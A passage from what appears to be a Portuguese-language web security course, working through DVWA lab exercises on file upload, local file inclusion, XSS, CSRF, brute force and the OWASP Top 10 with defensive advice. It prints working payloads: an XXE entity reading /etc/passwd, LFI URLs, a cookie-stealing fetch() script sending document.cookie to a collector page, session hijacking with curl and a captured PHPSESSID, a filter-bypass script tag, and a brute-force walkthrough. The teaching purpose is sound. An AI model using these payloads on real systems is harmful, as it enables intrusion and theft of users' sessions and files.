vai bloquear o envio e o Apache vai processar o arquivo como PHP da 
mesma forma; 
○ Enviar o arquivo com a extensão .php5 ou .phtml - na maioria das 
instalações do Apache essas extensões são interpretadas como PHP; 
○ Enviar um arquivo do tipo .xml com uma vulnerabilidade do tipo XXE7, 
como o seguinte exemplo: 
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [ 
 <!ENTITY xxeattack SYSTEM "file:///etc/passwd"> 
]> 
<xxx>&xxeattack;</xxx> 
 
7 XML External Entities - essa vulnerabilidade tem sido cada vez mais comum, estando atualmente 
entre as 10 maiores vulnerabilidades segundo a OWASP 
 
○ Enviar arquivos que podem ser danosos para os usuários do site, 
como arquivos .html com redirecionamento ou .exe 
○ Enviar arquivos que podem ser usados para fazer o bypass8 de 
algumas configurações de segurança que só permitem acesso no 
mesmo servidor, sendo usados em ataque XSS9, por exemplo; 
● Ou seja, nossa segurança estaria comprometida. 
Outra opção mais lógica seria usar uma lista branca, por exemplo: 
<?php 
…. 
if ($extensao === 'jpg' || $extensao === 'gif') { 
 //upload e tudo mais 
} else { 
 die('Não permitido!'); 
} 
?> 
 Dessa forma, o upload só seria permitido caso esteja na nossa lista. Note 
também o === que no PHP significa que estamos validando não só o conteúdo de 
uma string quanto o tipo da variável. No PHP há basicamente 3 formas de usar o 
símbolo =: 
1. $variavel = "valor" - define que a variável $variavel receberá tal 
valor; 
2. $variavel == "valor" - neste caso se usa para verificar se uma variável 
é igual a um valor, sem verificar o tipo da variável, em um if/else, por 
exemplo; 
3. $variavel === "valor" - mesmo que o anterior, mas com validação de 
tipo; 
 Note que na segunda forma, a como não validamos o tipo da variável, o PHP 
pode agir de formas estranhas. Por exemplo: 
if ($variavel == true) // retorna true, como esperado 
if ($variavel == 1) // retorna true, como esperado 
if ($variavel == array(0)) // retorna true !? 
 
8 No sentido de contorno, contornar 
9 Cross-Site Scripting 
 
if ($variavel == new stdClass()) // retorna true!? 
 E se verifcarmos com o triplo =: 
if ($variavel === true) // retorna true, como esperado 
if ($variavel === 1) // retorna false, como esperado 
if ($variavel === array(0)) // retorna false, como esperado 
if ($variavel === new stdClass()) // retorna false, como 
esperado 
Ou seja, validamos também o tipo da variável, se não for booleano, retorna 
false. 
Outros métodos que devem ser utilizados também para validar arquivos 
incluem: 
● Verificar o nome do arquivo, além da extensão; 
● Remover todos os caracteres que não são unicode do nome do arquivo, pois 
uma pessoa mal-intencionada pode colocar um caractere nulo (%00), por 
exemplo no nome do arquivo antes da extensão e confundir o sistema; 
● Remover todo tipo de pontuação extra do nome do arquivo, como: ";", ":", ">", 
"<", "/" ,"\", "." (ponto adicional), "*", "%", "$", mantendo só caracteres alfa-
numéricos, por exemplo com esta expressão regular: [a-zA-Z0-
9]{1,200}\.[a-zA-Z0-9]{1,10} (arquivos com / ou \, por exemplo, 
podem ser utilizados para substituir outros arquivos do sistema); 
● Verificar o conteúdo dos arquivos; 
● Limitar o tamanho do arquivo, tanto máximo quanto mínimo; 
● Renomear o arquivo depois do upload (por exemplo, sendo o nome do 
arquivo uma hash + data do envio); 
● Não confiar no content-type do arquivo - ele pode ser alterado e inclusive 
permitir o envio de arquivos Flash/PDF com a extensão .jpg; 
● Não processar os arquivos antes de verificar tudo; 
Estas são algumas medidas de segurança no código, a OWASP tem uma 
lista bem completa no seguinte endereço: 
https://www.owasp.org/index.php/Unrestricted_File_Upload 
 
https://www.owasp.org/index.php/Unrestricted_File_Upload
 
Inclusão de arquivos locais 
 Outra vulnerabilidade bastante comum e geralmente causada por 
ingenuidade de programadores/desenvolvedores/analistas é a inclusão automática 
de arquivos. Isso é um erro bem comum de programadores iniciantes que querem 
simplificar o próprio trabalho colocando o nome de arquivos que serão inseridos 
automaticamente no endereço da página. 
Aplicando à DVWA 
 Acesse o painel da DVWA e clique em File Inclusion: 
 
Clique nos arquivos (file1.php, file2.php, file3.php) e veja que o meio da 
página deve mudar. Verifique também a barra de endereços do navegador: 
file1: http://localhost:8080/vulnerabilities/fi/?page=file1.php 
http://localhost:8080/vulnerabilities/fi/?page=file1.php
 
file2: http://localhost:8080/vulnerabilities/fi/?page=file2.php 
file3: http://localhost:8080/vulnerabilities/fi/?page=file3.php 
 
Note que aparentemente está sendo passado como parâmetro o nome de um 
arquivo. Vamos verificaro código fonte: 
 
 Exatamente, e como ainda estamos no modo "low", não há qualquer tipo de 
segurança sendo aplicada. Vamos tentar mudar manualmente o arquivo na barra de 
endereços, trocando para o seguinte: 
http://localhost:8080/vulnerabilities/fi/?page=../../robots.txt 
http://localhost:8080/vulnerabilities/fi/?page=file2.php
http://localhost:8080/vulnerabilities/fi/?page=file3.php
http://localhost:8080/vulnerabilities/fi/?page=../../robots.txt
 
 
 
Note o valor no começo da página "User-agent: * Disallow: /", é o conteúdo 
do arquivo robots.txt. Vamos tentar pegar o arquivo de senhas do sistema: 
http://localhost:8080/vulnerabilities/fi/?page=/etc/passwd 
http://localhost:8080/vulnerabilities/fi/?page=/etc/passwd
 
 
 
Pronto, aí está o conteúdo do arquivo /etc/passwd, sem complicação. 
 Se quisermos, podemos também causar um loop infinito carregando a própria 
página para dentro dela mesma, recursivamente e derrubar o servidor, causando 
um DoS10: 
http://localhost:8080/vulnerabilities/fi/?page=index.php 
 Note que esta vulnerabilidade pode ser empregada em conjunto com o 
upload de arquivos inseguros. Digamos que o upload de arquivos é feita em uma 
pasta que não é pública pelo Apache (ou outro servidor), ou que existam restrições 
quanto a acessar o arquivo diretamente. O arquivo ainda pode ser acessado e 
processado utilizando essa técnica. 
 
 
10 Ataque de negação de serviço, ou denial-of-service 
http://localhost:8080/vulnerabilities/fi/?page=index.php
 
XSS - Cross-site Script 
O ataque XSS é poderosíssimo e pode ser utilizado para diversas coisas, 
como: 
● Pegar o arquivo de sessão de um ou mais clientes; 
● Redirecionar o usuário para um site malicioso; 
● Adicionar downloads automaticamente para usuários; 
● Fazer propaganda de produtos ilegais (geralmente medicamentos como 
Viagra e Cialis); 
● Criar um keylogger para capturar tudo o que o usuário digita; 
● Capturar fotos do usuário com a câmera do mesmo; 
● Ou qualquer outra coisa que o navegador ou aparelho do usuário permita. 
No caso de pegar um arquivo de sessão, um atacante pode utilizar a sessão 
aberta por outro usuário para acessar um sistema, por exemplo. Isto ocorre 
principalmente quando o sistema permite que a sessão seja trocada sem uma 
validação ou que possa ser facilmente adivinhável. Por padrão, os navegadores só 
permitem execução de scripts (JavaScript, por exemplo) do mesmo website, no 
entanto, um atacante pode forjar um script que copie os dados do usuário e envie 
para outro site, para que ele possa ser usado por outra pessoa. 
Vejamos o caso em PHP11, onde os dados de sessão ficam gravados no 
servidor e para identificar o usuário é gravado um cookie chamado PHPSESSID no 
computador do usuário que é utilizado para identificar o mesmo e saber quais dados 
de sessão devem ser utilizados. Caso um atacante descubra o valor deste cookie e 
o sistema não faça nenhuma validação extra, ele pode criar um cookie 
manualmente no próprio computador e fingir ser o outro usuário, ganhando acesso a 
todas as sessões ativas daquele outro usuário. Isso é particularmente problemático 
porque algumas aplicações permitem que a PHPSESSID possa ser passada 
diretamente pela URL do navegador, ficando nos históricos dos usuários e muitas 
vezes ficando também em caches de websites de busca como o Google, por 
exemplo. 
 
11 Não só em PHP, praticamente todas as linguagens web server-side utilizam o mesmo esquema, 
mas com nomes diferentes para os cookies. 
 
Aplicando à DVWA 
 A ideia será pegar o PHPSESSID de um usuário logado e copiá-lo para outro 
usuário, com esse outro usuário podemos nos passar pelo usuário logado. 
 Primeiro vamos preparar um código que irá fazer a captura dos dados, este 
código será composto de duas partes: 
● O script que irá capturar os dados e será executado no navegador; 
● O código em PHP que rodará em um servidor externo e receberá nossa 
PHPSESSID; 
 O código em PHP, preferencialmente deve rodar em um servidor externo, 
mas como é só um exemplo, vamos rodá-lo no mesmo servidor só como base de 
conceito12. 
 Vamos então acessar o painel da DVWA com o navegador e clicar em: 
http://localhost:8080/vulnerabilities/xss_r/ 
 
12 Por conveniência, já deixei o código no vagrant em /var/www/html/cookie.php 
http://localhost:8080/vulnerabilities/xss_r/
 
 
 Esta página tem um campo bem simples de nome, digite qualquer coisa 
neste campo e verifique o que acontece: 
 
 Repare no entanto na URL do navegador: 
 
 Podemos deduzir que o PHP está pegando o valor da URL, mais 
especificamente da Query String ou dos campos $_GET para construir a string 
"Hello <usuario>". Vamos verificar se o código é suscetível ao ataque XSS, digite no 
campo o seguinte código e clique em submit: 
<script>alert('ola');</script> 
 
 
 
 
Com isso sabemos que o formulário permite a execução de JavaScript. 
Vamos então tentar pegar os cookies do usuário, digite no campo: 
<script>alert(document.cookie);</script> 
 
 
 
 Repare que a URL do navegador deve ter ficado assim: 
http://localhost:8080/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.
cookie%29%3B%3C%2Fscript%3E# 
 Se enviar essa URL para qualquer usuário que esteja logado, ele verá os 
próprios cookies. Vamos tentar o seguinte código no campo: 
JoaoBobo<script>fetch('http://localhost:8080/cookie.php?c="'+d
ocument.cookie+'"');</script> 
Esse script irá fazer o trabalho de copiar o cookie do usuário e enviar para o 
arquivo cookie.php. O script em PHP13 foi preparado para gravar em um arquivo 
chamado cookies.txt tudo o vier via Query String e todos os dados que 
 
13 Dentro do arquivo Vagrantfile, Anexo 1 
http://localhost:8080/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E
http://localhost:8080/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E
 
conseguir do servidor (variável $_SERVER), como dados do navegador, número de 
IP etc. 
Visualmente, para o usuário incauto, não irá aparecer nada de incomum além 
da URL do navegador que irá parecer um pouco estranha: 
 
 Mas a partir do momento que esta página for aberta, automaticamente será 
gravado um registro sobre o usuário em outro servidor. Acesse o seguinte endereço 
para visualizar: 
http://localhost:8080/cookies.txt 
 
Agora, a única coisa que o atacante precisa fazer é ofuscar essa URL com 
um encurtador de URLs (ou URL shortnener) e enviar para usuários que ele saiba 
que estão logados. 
Outra opção é fazer a mesma coisa, mas ao invés de utilizar a URL para 
gerar em tempo real o arquivo é gravar no servidor seu script de ataque. No painel 
da DVWA há mais duas opções de XSS, acessando a opção XSS (Stored) podemos 
colocar o mesmo script no campo Name ou Message e ter basicamente a mesma 
funcionalidade, no entanto, o script ficará gravado na lista de mensagens e toda vez 
que um usuário visualizar a lista de mensagens terá os dados vazados. 
http://localhost:8080/cookies.txt
 
Vamos tentar utilizar a PHPSESSID que capturamos para fazer uma espécie 
de emulação utilizando a ferramenta cURL. Esta ferramenta é muito útil para fazer 
requisições a servidores que podem ser automáticas ou manuais. 
Por padrão o cURL já vem instalado na maior parte das distribuições Linux, 
para iOS ele pode ser instalado com o brew ou macports, não é recomendável 
utilizar Windows14 pois em alguns exemplos será necessário utilizar o comando 
grep em conjunto e não há um substituto simples como este. Se o seu sistema 
operacional é Windows, se recomenda utilizar o Linux Shell Bash do Windows 
(quando presente) ou uma outra máquina virtual com um sistema baseado em Unix. 
Verifique se você já tem o cURL com o seguinte comando:curl --version 
Estando com o cURL instalado, podemos fazer uma requisição para a página 
principal da nossa aplicação pela linha de comando15: 
curl "http://localhost:8080/" -v 
 
14 Se mesmo assim você quiser utilizar Windows, você pode instalar você pode baixar o executável 
direto do site https://curl.haxx.se/ no menu Download. Se quiser que o programa seja executável de 
qualquer pasta na linha de comando, é necessário salvar o cURL em alguma pasta fixa e adicionar o 
endereço da pasta no PATH do sistema. O PATH pode ser modificado no “Painel de controle” > 
“Sistema e Segurança” > “Sistema” > “Configuração Avançada do Sistema” > “Variáveis de 
Ambiente” e dentro dessa opção em “Variáveis do sistema”. 
15 A opção -v significa verbose, para mais opções, verifique o manual com "man curl" ou a página de 
ajuda com "curl --help". 
 
 
 
Repare que a aplicação nos mandou de volta para o arquivo login.php: 
Location: login.php 
Vamos tentar usar uma PHPSESSID que pegamos no arquivo 
cookies.txt: 
curl "http://localhost:8080/" -H "Cookie: 
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low" 
Troque o pelo PHPSESSID que você pegou no arquivo 
http://localhost:8080/cookies.txt 
Sua página deve ser parecida com isso: 
http://localhost:8080/cookies.txt
 
 
Recebemos o HTML da página interna do painel ou seja, conseguimos nos 
logar como se fôssemos outro usuário. 
Outra opção seria alterar o cookie do próprio browser para o mesmo efeito. 
 
CSRF - Cross Site Request Forgery 
Existe um outro ataque que tem vetores muito parecidos com o XSS, 
chamado CSRF - Cross Site Request Forgery. A principal diferença entre este e o 
XSS é que o CSRF executa ações para o usuários sem que ele queira, como por 
exemplo, alterar a senha, desabilitar a autenticação em duas etapas etc. Da mesma 
forma que o XSS, o CSRF é feito enviando um script malicioso para um cliente 
incauto. 
 
Como se proteger? 
Como na maioria dos ataques, nunca se deve confiar nos dados vindos do 
lado cliente. Sempre deve-se limpar todas as variáveis que os usuários mandam, 
especialmente se elas forem ser exibidas em algum lugar. O ideal é nunca permitir 
que os usuários adicionem HTML a uma página web, portanto, sempre se limpar os 
dados para remover qualquer tag. Mesmo tags aparentemente inócuas como <img> 
ou <svg> podem ser utilizadas para executar scripts maliciosos, pois permitem 
execução em atributos como onload ou onerror. 
Quando for exibir os dados de usuário, sempre deve-se usar funções que 
convertam qualquer caractere não essencial, como letras, números e pontuação 
básica para seus equivalentes no formato HTML encoded. 
Mas atenção, existem várias formas de burlar scripts que codificam ou 
impedem a inserção de tags HTML. Uma técnica comum é colocar uma palavra que 
se sabe que será filtrada dentro de outra. Por exemplo, o atacante pode testar a 
página e tentar descobrir se é feita uma lista branca (whitelist) que só permite 
alguma tag específica ou se é feita uma lista negra (blacklist) que bloqueia alguma 
palavra manualmente. 
Digamos que o sistema utiliza blacklist e bloqueia tags como <script>. O 
atacante pode forjar um script com o seguinte código: 
<sc<script>ript>alert(x)</scr<script>ipt> 
 Quando o sistema apagar a tag <script>, o que vai sobrar é: 
<script>alert(x)</script> 
A maioria das linguagens modernas têm funções próprias para remover ou 
converter tags HTML, geralmente é mais confiável utilizar as mesmas. 
Além disso, quando for exibir algum dado inserido por algum usuário, lembre-
se de colocar o texto entre as tags <noscript></noscript> - e, claro, remover 
qualquer possibilidade do usuário inserir a tag </noscript> dentro do texto. 
Outro ponto importante é a utilização de tokens no lado do servidor para 
garantir consistência nas requisições, além de validar se a ID de sessão realmente 
pertence a um usuário (checando com User-Agent e o IP, por exemplo). 
Caso realmente precise que o usuário envie tags em HTML, considere a 
utilização de linguagens como MarkDown (http://commonmark.org/) ou outra 
http://commonmark.org/
 
linguagem de marcação ou libere apenas e somente o que for mais necessário 
usando uma lista branca e excluindo tudo o que não for essencial. 
 
Ataque de Força Bruta 
Ataques de força bruta, ou brute force, geralmente acontecem quando um 
formulário de login, por exemplo, permite irrestritas (ou excepcionalmente muitas) 
requisições. O atacante, geralmente, tenta enviar uma quantidade enorme de 
requisições testando uma série de palavras ou de combinação de palavras para 
tentar adivinhar um valor, como usuário e senha, ou um token, ou um serial, ou 
qualquer outro tipo de dado que pode ser adivinhado. 
Aplicando à DVWA 
 O ataque que vamos realizar é um ataque de força bruta com um dicionário 
simples (sem mutação), que funciona quando se tem uma lista pré-programada de 
palavras para se testar contra um formulário. Existem outros tipos, como o ataque 
com dicionário com mutação (quando o dicionário pode ter alterações durante o 
teste, por exemplo, trocando letras maiúsculas/minúsculas, trocando letras por 
números, ou até trocando sufixos/prefixos, por exemplo) além do ataque de força 
bruta tradicional, sem dicionário, onde vai-se gerando os campos automaticamente, 
muitas vezes caracter-a-caracter (ou múltiplos caracteres por vez). 
Existem várias ferramentas que fazem ataques automaticamente, mas a ideia 
dessa disciplina é ensinar os conceitos por trás de tais ferramentas, por isso, vamos 
fazer manualmente. Vamos precisar de algumas coisas: 
● A ferramenta cURL; 
● Uma wordlist (lista de palavras ou de usuários/senhas comuns); 
● Conhecimento em lógica de programação (não obrigatório); 
Estando tudo certo, vamos primeiro verificar qual URL vamos utilizar. No 
painel da DVWA acesse clique no menu em Brute Force: 
 
 
 
Vamos fazer um teste, digitar qualquer coisa no campo de usuário e qualquer 
coisa no campo de senha e enviar o formulário: 
 
Se você não digitou um usuário/senha válido, deve receber uma mensagem 
como essa: 
 
 
 Mas o mais interessante nesse caso é a URL da página: 
 
 Assim sabemos que a URL para a qual devemos fazer a requisição para esta 
URL. Vamos tentar com o cURL: 
$ curl 
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" 
 
 
Bom, aparentemente não aconteceu nada, vamos tentar o modo verbose, 
com um -v: 
$ curl 
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -v 
 
 
 Na verdade recebemos um redirect para o login.php, pois não colocamos 
o login e a senha… então não vamos conseguir acessar diretamente o arquivo 
dessa forma. Vamos procurar por uma outra alternativa. 
 Como vimos no ataque de XSS podemos utilizar a PHPSESSID para nos 
passar por outro usuário. Precisamos neste caso pegar a PHPSESSID. Isso pode 
ser abrindo no navegador que esteja logado na DVWA na barra de 
desenvolvedores, em Aplicação ou Application ou App. Outra opção é pegar em 
uma requisição na aba Rede ou Network e nos detalhes da mesma pegar o 
PHPSESSID. Ou, no console digite: console.log(document.cookie);. 
 Com o PHPSESSID em mãos, vamos tentar a requisição para a URL 
novamente: 
$ curl 
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -H "Cookie: 
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low" 
 
 
Olhe com cuidado o código e note que a mensagem "Username and/or 
password incorrect." que aparece na página estará mais abaixo: 
 
 
 Podemos usar a ferramenta grep para restringir só a essa frase o nosso 
retorno: 
$ curl 
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -H "Cookie: 
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low" | grep 
"Username and/or password incorrect." 
 
 
Já ficoumais fácil de visualizar, mas ainda assim tem muito dado, vamos 
restringir ainda mais com a opção -s: 
$ curl 
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -H "Cookie: 
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low" -s | grep 
"Username and/or password incorrect." 
 
 Agora sim, temos uma resposta de uma só linha. O que vamos fazer é 
preparar um pequeno script para verificar se esse texto aparece quando fizermos 
várias requisições com usuários/senhas diferentes. Se não aparecer é porque nosso 
login foi feito com sucesso ou algum erro estranho aconteceu (o que também é 
 
interessante). Este script pode ser feito em qualquer linguagem, mas por 
simplicidade vamos utilizar o próprio bash/shell para isso. 
 Nosso script vai ser somente uma prova de conceito16, super simples e 
básico pois estamos utilizando a versão low da DVWA, para ataques mais 
complexos, ou em aplicações mais protegidas, o ideal é utilizar uma ferramenta 
própria para ataques de brute force. Nosso script vai rodar um arquivo de dicionário 
(será um ataque de brute force com dicionário) e testar linha a linha com o 
usuário/senha. O dicionário pode ser baixado da seguinte URL: 
https://raw.githubusercontent.com/delefrati/Hob0Rules/master/wordlists/shortKrak.txt 
 O script está nos anexos como Anexo 2. Copie o conteúdo e coloque em um 
novo arquivo e salve com o nome buteforce.sh. Salve o dicionário na mesma 
pasta. Aplique o comando a seguir para permitir a execução do script: 
$ chmod +x bruteforce.sh 
 Após, rode o script com o seguinte comando: 
$ time ./bruteforce.sh shortKrak.txt 
 A ferramenta time vai ser usada para verificar quanto tempo demoraria para 
quebrar essa senha usando esse programa (que está longe de ser otimizado): 
 
Preencha o usuário e a PHPSESSID quando forem pedidos. A execução 
deve durar alguns segundos e esse é o resultado: 
 
16 POC ou proof-of-concept em inglês 
https://raw.githubusercontent.com/delefrati/Hob0Rules/master/wordlists/shortKrak.txt
 
 
 Note que mesmo que o sistema esteja desprotegido, algumas coisas 
influenciam em um ataque como esse: 
● A qualidade do dicionário - quanto mais palavras e mais diversas, melhor; 
● Os recursos da máquina - um computador mais potente conseguirá mais 
requisições por segundo; 
● A conexão com o sistema - mais rápido será o ataque quanto mais rápido 
seja a conexão com o site; 
● A otimização do código - o nosso POC é simples e praticamente sem 
otimização, um bom sistema de força bruta pode fazer requisições em 
paralelo, criar mutações nos textos e verificar diferentes tipos de retorno de 
uma aplicação, entre outras coisas; 
Como se proteger? 
Um sistema de captcha, por exemplo, pode ser um pouco efetivo 
temporariamente para evitar muitas tentativas por segundo, mas não deve ser 
 
utilizado como única forma de defesa. Idealmente um sistema mais seguro deve ter 
alguma outra forma de verificação de segurança, como autenticação em duas 
etapas (2fa), confirmando a identidade do usuário de maneira independente, através 
de um aplicativo separado ou enviando um e-mail ou SMS com um código. 
Entre outras sugestões para melhorar a segurança: 
● Os sistemas/aplicações devem testar as senhas dos usuários por senhas 
fracas17; 
● Deve ser facilitado ao usuário uma forma de trocar a senha em caso de 
comprometimento; 
● Monitoramento e detecção; 
● Atenção! A criação de senhas muito complexas utilizando números, letras e 
caracteres especiais já foi considerada uma boa prática de segurança, mas 
nos últimos anos vêm sendo considerada uma má prática pois incentiva a 
criação de senhas difíceis de serem lembradas, mas com baixa entropia, que 
pode permitir a quebra das mesmas mais facilmente que, por exemplo, uma 
senha longa, mas com palavras desconexas. Além disso, para a maioria dos 
usuários18, estimula a reutilização das senhas. O quadrinista online Randall 
Munroe do site XKCD ilustra esse paradigma brilhantemente no seguinte 
quadro: 
 
17 Diferente de quando falamos sobre isso em "falha de criptografia", quando o assunto era a própria 
função criptográfica que era fraca. 
18 Considerando usuários que memorizam as senhas, no entanto, o ideal é ter um gerenciador de 
senhas e sim, criar senhas com o máximo possível de caracteres diferentes e randômicos. 
 
 
https://xkcd.com/936/ 
 
Tradução: 
Quadro 1: 
Palavra base incomum (palavra real) - Order desconhecida 
Letra maíuscula? - Substituições comuns - Pontuação - Numeral 
(você pode adicionar mais alguns bits ao levar em conta que este é um dos poucos 
formatos mais comuns) 
 
Quadro 2: 
~28 bits de entropia 
220 = 3 dias para acertar com 1.000 tentativas/segundo 
(Ataque plausível em um servidor remoto com um webserver. Sim, crackear uma 
hash roubada é mais rápido que isso, mas não é o que a maioria dos usuários 
deveria se preocupar) 
https://xkcd.com/936/
 
Dificuldade para adivinhar: Fácil 
 
Quadro 3: 
(personagem falando) Era trombone? Não, troubador. E um dos Os era um zero? E 
tinha um símbolo... 
Dificuldade para lembrar: Difícil 
 
Quadro 4: 
correto cavalo bateria grampo 
Quatro palavras comuns randômicas 
 
Quadro 5: ~44 bits de entropia 
244 = 550 anos para acertar com 1.000 tentativas/seg 
Dificuldade para adivinhar: Difícil 
 
Quadro 6: 
(cavalo falando) É um grampo na bateria. 
(outra pessoa respondendo) Correto! 
Dificuldade para lembrar: você já memorizou 
 
Quadro final: 
Por 20 anos nos esforçamos e conseguimos com sucesso treinar todo mundo a usar 
senhas que são difíceis de memorizar para os humanos, mas fáceis para os 
computadores adivinharem. 
 
 
 
OWASP 
A Open Web Application Security Project (OWASP) é uma organização sem 
fins lucrativos focada em melhorar a segurança de softwares. Qualquer pessoa 
pode participar da comunidade e todos os materiais da comunidade têm licença 
aberta e são gratuitos. Entre estes materiais é lançada uma lista com as top 10 
maiores vulnerabilidades votadas pela comunidade 
(https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project). A última 
lista lançada foi em 2017, mas a versão mais recente em português foi lançada em 
2013, disponível em: 
https://storage.googleapis.com/google-code-archive-
downloads/v2/code.google.com/owasptop10/OWASP_Top_10_-
_2013_Brazilian_Portuguese.pdf 
 A lista top 10 da OWASP considera as vulnerabilidades em uma escala de 1 
a 3, seguindo os seguintes critérios: 
 
É recomendável e importante que se pesquise e se leia o documento com as 
top 10 vulnerabilidades da OWASP. No entanto, o mesmo pode ser seguido como 
um guia básico, o aluno não deve basear todo o seu conhecimento nestas 10 
vulnerabilidades, mas usar o documento como uma plataforma para estudos mais 
aprofundados. 
No documento de 2017 os 10 maiores problemas são os seguintes: 
1. Injection (injeção) 
Um usuário mal-intencionado envia um “vetor de ataque”, ou seja, um pedaço 
de código, através dos inputs do sistema, conseguindo modificar o funcionamento 
deste. A injeção pode se aproveitar de brechas de segurança na execução das 
consultas do banco de dados (PL/SQL) ou outro tipo de inserção de código, como 
comandos shell, por exemplo. 
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/owasptop10/OWASP_Top_10_-_2013_Brazilian_Portuguese.pdf
https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/owasptop10/OWASP_Top_10_-_2013_Brazilian_Portuguese.pdf
https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/owasptop10/OWASP_Top_10_-_2013_Brazilian_Portuguese.pdf
 
 
Vetores: 3/3 Prevalência: 2/3 Detectabilidade: 3/3 Impacto técnico: 3/3 
2. Broken Authentication (autenticação "quebrada") 
Basicamente,é quando sistema/aplicação tem um problema de autenticação. 
Isso pode acontecer por vários motivos, quando uma aplicação: 
● Permite ataques automáticos de força-bruta19 
● Permite senhas fáceis como sequências de números, "senha", "admin/admin" 
● Usa processos fracos ou ineficientes em opções de "esqueci minha senha" 
● Salva senhas em texto simples ou com encriptação fraca 
● Expõe a Session ID na URL 
● Não atualiza corretamente a Session ID após um login efetuado com sucesso 
● Não tem ou tem validação de multi-fator20 fraca 
● Não invalida ou destrói a Session ID no logout, especialmente SSO21 
 
Vetores: 3/3 Prevalência: 2/3 Detectabilidade: 2/3 Impacto técnico: 3/3 
3. Sensitive Data Exposure (exposição de dados sensíveis) 
Acontece quando um sistema não é criptografado, a criptografia é fraca ou 
falha ou quando um atacante rouba as chaves privadas de um sistema e usa um 
ataque man-in-the-middle para pegar dados criptografados. Dados coletados 
frequentemente podem ser senhas, dados pessoais, números de cartões de crédito, 
informações de saúde ou outros dados que devem ser protegidos até por leis e 
regulamentos como o GDPR (Regulamento Geral sobre a Proteção de Dados) da 
União Europeia. 
 
Vetores: 2/3 Prevalência: 3/3 Detectabilidade: 2/3 Impacto técnico: 3/3 
 
19 Ataques em que são usados dicionários com lista pré-programadas de palavras, podem ser 
geradas automaticamente, copiadas de listas prontas da Internet ou de credenciais roubadas da 
aplicação ou de outras aplicações 
20 Validação de multi-fator, como por exemplo validação de login em duas etapas, verificando em 
aplicativos, por e-mail ou por SMS 
21 Sing-on único ou single sign-on se refere a um método de acesso geralmente com um token que 
pode ser usado para se acessar a aplicação apenas uma vez. Pode ser utilizado em sistemas de 
suporte, por exemplo, para acessar como outro usuário. 
 
 
4. XML External Entities (XXE) 
 Vários processadores de XML antigos permitem a especificação de uma 
entidade externa que pode permitir a execução remota de código inseguro que pode 
ser usado para todo tipo de fim malicioso. 
Exemplo: 
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [ 
 <!ENTITY xxeattack SYSTEM "file:///etc/passwd"> 
]> 
<xxx>&xxeattack;</xxx> 
 
Vetores: 2/3 Prevalência: 2/3 Detectabilidade: 3/3 Impacto técnico: 3/3 
 
5. Broken Access Control (controle de acesso "quebrado") 
 Quando um sistema não é bem testado algumas áreas ou métodos que 
deveriam necessitar de uma permissão maior podem ficar abertas a usuários com 
um nível de acesso menor. Algumas vezes, mesmo que o sistema esteja 
aparentemente protegido, por causa de uma falha dessas explorada um usuário mal 
intencionado pode escalar permissões no programa/aplicação dando permissões 
extras a si mesmo ou a outro(s) usuário(s). 
 
Vetores: 2/3 Prevalência: 2/3 Detectabilidade: 2/3 Impacto técnico: 3/3 
 
6. Security Misconfiguration (má-configurações de segurança) 
Configurações incorretas do sistema operacional, do servidor web, do banco 
de dados, do framework ou mesmo do pré-compilador podem afetar a segurança do 
sistema. As configurações padrão nem sempre são otimizadas com base na 
segurança, por isso é importante revisar e configurar corretamente cada item. 
 
 
Vetores: 3/3 Prevalência: 3/3 Detectabilidade: 3/3 Impacto técnico: 2/3 
 
7. Cross-Site Scripting (XSS) 
Um usuário mal-intencionado com acesso ao sistema envia scripts para 
serem executados nos computadores dos outros usuários. O XSS pode ser feito a 
partir de links ou referências a outros websites, por exemplo, no atributo href de uma 
imagem ou no atributo src de uma tag <script>. Estas referências podem levar à 
execução de código malicioso de um site dentro de outro (por isso o nome, cross-
site, ou através/cruzando sites). 
 
Vetores: 3/3 Prevalência: 3/3 Detectabilidade: 3/3 Impacto técnico: 2/3 
 
8. Insecure Deserialization (desserialização insegura) 
 É um ataque mais técnico e atualmente não existem muitas ferramentas que 
fazem o ataque automaticamente, mas se relaciona a objetos ou estruturas de 
dados em aplicações ou APIs que são serializados/de-serializados; se modificados 
manualmente entre esses processos de serialização, podem ganhar funções não 
previstas pelo sistema e permitir execuções de código malicioso. 
 
Vetores: 1/3 Prevalência: 2/3 Detectabilidade: 2/3 Impacto técnico: 3/3 
 
9. Using Components with Known Vulnerabilities (utilização de 
componentes com vulnerabilidades conhecidas) 
 É comum que programadores que desenvolvem em larga escala utilizem 
muitos componentes externos sem conhecer de forma integral como funcionam, ou 
quais as versões ou vulnerabilidades que elas funcionam. Assim, alguns sistemas 
podem ser comprometidos por pacotes ou bibliotecas desatualizadas ou que não 
tiveram problemas de segurança resolvidos. 
 
 
Vetores: 2/3 Prevalência: 3/3 Detectabilidade: 2/3 Impacto técnico: 2/3 
 
10. Insufficient Logging & Monitoring (logs e monitoramento 
insuficiente) 
 Quando um sistema não grava logs suficientes, ou quando não tem um 
sistema de monitoramento adequado toda a segurança de um sistema pode ser 
comprometida. Os ataques mais bem sucedidos são feitos a partir de sondagem de 
código, um usuário mal intencionado pode não conhecer bem um sistema, mas se 
tiver tempo de testar muitas probabilidades provavelmente vai encontrar alguma 
vulnerabilidade. Um sistema que não barre o usuário nesta fase de testes, ou que 
pelo menos tenha as informações de como um ataque aconteceu é muito inseguro. 
 
Vetores: 2/3 Prevalência: 3/3 Detectabilidade: 1/3 Impacto técnico: 2/3 
